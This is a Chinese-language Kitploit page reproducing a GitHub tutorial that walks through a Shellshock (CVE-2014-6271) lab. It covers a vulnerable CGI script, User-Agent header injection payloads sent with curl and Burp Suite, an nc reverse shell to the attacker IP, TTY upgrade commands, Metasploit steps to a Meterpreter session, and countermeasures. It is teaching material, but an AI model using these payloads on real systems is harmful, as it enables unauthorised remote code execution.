Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed Teaming

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload Development
Labs & Practice
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.

查看仓库
8个月前尚未审核

利用 Shellshock(CVE-2014-6271):一个完整、现代化的演示实验室

Shellshock(CVE-2014-6271)是迄今为止最具影响力的远程代码执行漏洞之一。该漏洞影响 Bash,并允许攻击者仅通过向环境变量注入精心构造的有效载荷来执行任意命令。

本指南提供了一个完整、可重现的演示,使用:

  • Kali Linux(攻击者)
  • Metasploitable2(目标)
  • curl、Burp Suite、Netcat
  • 手动创建的基于 Bash 的 CGI 脚本

它专为教学、研究、培训和一般网络安全意识而设计。


📌 目录

  1. 实验架构
  2. 创建有漏洞的 CGI 脚本
  3. 理解 Shellshock 漏洞
  4. 使用 curl 利用 Shellshock
  5. 使用 Burp Suite 利用 Shellshock
  6. 通过 Shellshock 获取反弹 Shell
  7. 升级为完全交互式 TTY
  8. 攻击链图
  9. 截图展示
  10. 防护措施
  11. 速查表(所有命令)
  12. 使用 Metasploit 利用 Shellshock
  13. 结论

1. 实验架构

这个简单的双节点设置反映了许多在工业物联网系统中仍然存在的遗留部署。


2. 创建有漏洞的 CGI 脚本

在 Metasploitable2 上:

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

从 Kali 测试脚本:

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

你应该会看到环境变量被显示出来。


3. 理解 Shellshock 漏洞

当 Bash 错误地解析看起来像函数定义的环境变量时,就会发生 Shellshock。

一个恶意变量,例如:

root@kitploit:~
() { :; }; /bin/bash -c "id"

将导致 Bash 执行函数定义之后的命令——即使该函数本身从未被调用。

CGI 应用程序尤其容易受到攻击,因为 HTTP 头会自动作为环境变量传递给脚本。


4. 使用 curl 利用 Shellshock

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

输出应包括:

root@kitploit:~
Vulnerable
uid=33(www-data)

这确认了远程代码执行。


5. 使用 Burp Suite 利用 Shellshock

5.1 发送正常请求

访问:

root@kitploit:~
http://192.168.1.5/cgi-bin/shellshock.sh

将请求发送到 Repeater。

5.2 注入 Shellshock 有效载荷

将 User-Agent 头替换为:

root@kitploit:~
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 响应

你应该会看到:

root@kitploit:~
BurpTest
uid=33(www-data)

Burp Suite 以直观且具教育意义的方式确认了漏洞。


6. 通过 Shellshock 获取反弹 Shell

在 Kali 上启动监听器:

root@kitploit:~
nc -lvnp 4444

通过 CGI 脚本触发反弹 Shell:

root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Shell 将反向连接到 Kali。


7. 升级为完全交互式 TTY

在反弹 Shell 内部:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

挂起会话:

root@kitploit:~
Ctrl + Z

在 Kali 上:

root@kitploit:~
stty raw -echo; fg

按 Enter。

你现在拥有:

  • 命令补全
  • 方向键
  • 作业控制
  • 完全交互式的 Bash

8. 攻击链图

root@kitploit:~
          ┌────────────────────────┐
          │     攻击者 (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. 恶意 HTTP 头 (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Apache Web 服务器 (CGI)  │
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. 头 → CGI 环境变量
                    │
                    ▼
      ┌──────────────────────────┐
      │     Bash (有漏洞)        │
      └───────────┬──────────────┘
                  │
      3. 注入的命令执行
                  │
                  ▼
        ┌─────────────────────────┐
        │  www-data Shell 访问    │
        └───────────┬─────────────┘
                    │
        4. 反弹 Shell → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ 完全交互式 TTY           │
      └──────────────────────────┘

9. 截图展示

攻击关键阶段的可视化演练。

描述图片
Nmap 扫描 + Shellshock 测试输出

10. 防护措施

✔ 1. 升级 Bash

修补为正确解析函数定义的版本。

✔ 2. 禁用 CGI

遗留的 CGI 引入不必要的系统风险。

✔ 3. 清理 HTTP 头

丢弃可疑模式,例如:

root@kitploit:~
() { :; };

✔ 4. 使用最小权限原则

限制 Web 服务器用户(www-data)的权限。

✔ 5. 出站连接限制

阻止反弹 Shell 和数据泄露。

✔ 6. 部署 Web 应用防火墙 (WAF)

现代 WAF 特征可立即检测 Shellshock。

✔ 7. 启用 SELinux / AppArmor

限制 Bash 进程并阻止意外行为。

✔ 8. 定期运行漏洞扫描

使用以下工具:

  • Nessus
  • OpenVAS
  • Nikto
  • Nmap NSE(http-shellshock.nse)

11. 速查表(所有命令)

目标设置

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

测试 CGI

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

Shellshock 测试

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

反弹 Shell

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

升级为完整 TTY

在 Shell 内部:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

挂起:

root@kitploit:~
Ctrl + Z

在 Kali 上:

root@kitploit:~
stty raw -echo; fg

按 Enter。


12. 使用 Metasploit 利用 Shellshock (msfconsole)

Metasploit 提供了专业、自动化的方式来利用 Shellshock,使用内置模块:

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec

此方法快速、可靠,并支持自动有效载荷阶段(例如 Meterpreter)。


12.1 启动 Metasploit

root@kitploit:~
msfconsole

12.2 搜索 Shellshock 模块

root@kitploit:~
search shellshock

你应该会看到(以及其他):

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash Environment Variable Injection (Scanner)

12.3 加载利用模块

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec

12.4 配置所需选项

设置目标 IP:

root@kitploit:~
set rhosts 192.168.1.5

设置易受攻击的 CGI 路径:

root@kitploit:~
set targeturi /cgi-bin/shellshock.sh

设置你的 Kali IP:

root@kitploit:~
set lhost 192.168.1.4

可选地设置监听端口:

root@kitploit:~
set lport 4444

验证:

root@kitploit:~
options

你应该会看到:

root@kitploit:~
RHOSTS     192.168.1.5
TARGETURI  /cgi-bin/shellshock.sh
LHOST      192.168.1.4
LPORT      4444
METHOD     GET
HEADER     User-Agent
CVE        CVE-2014-6271

12.5 启动利用

root@kitploit:~
run

成功后:

root@kitploit:~
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...

12.6 与 Meterpreter 会话交互

root@kitploit:~
sessions -i 1

你现在拥有:

root@kitploit:~
meterpreter >

12.7 派生常规 Shell

root@kitploit:~
shell

然后:

root@kitploit:~
id
hostname

预期:

root@kitploit:~
uid=33(www-data) gid=33(www-data)
metasploitable

你已通过 Metasploit 和 Shellshock 获得了远程命令执行。


13. 结论

本演示展示了如何通过简单的 HTTP 头操纵、反弹 Shell、CGI 脚本执行和 Metasploit 自动化来利用 Shellshock。尽管已过去十多年,Shellshock 仍然是以下方面的重要教训:

  • 安全的软件实践
  • 输入清理
  • 遗留系统风险
  • 后渗透技术

倾注大量心血制作:
阿曼的海瑟姆 ❤️🇴🇲

下载工具
组件角色操作系统IP 地址关键服务
Kali Linux攻击者Kali Linux(最新版)192.168.1.4curl、Burp Suite、Netcat
Metasploitable2目标易受攻击服务器Ubuntu Linux (MSF2)192.168.1.5Apache 2.2、CGI 脚本、Bash
Apache mod_cgi脚本执行运行于 MSF2n/a通过 CGI 暴露 Bash
shellshock.sh易受攻击的入口点Bash CGIn/a显示环境变量
Burp Suite – 初始 Shellshock 请求
Burp Suite – 有效载荷/头注入
Kali 上收到的反弹 Shell (nc)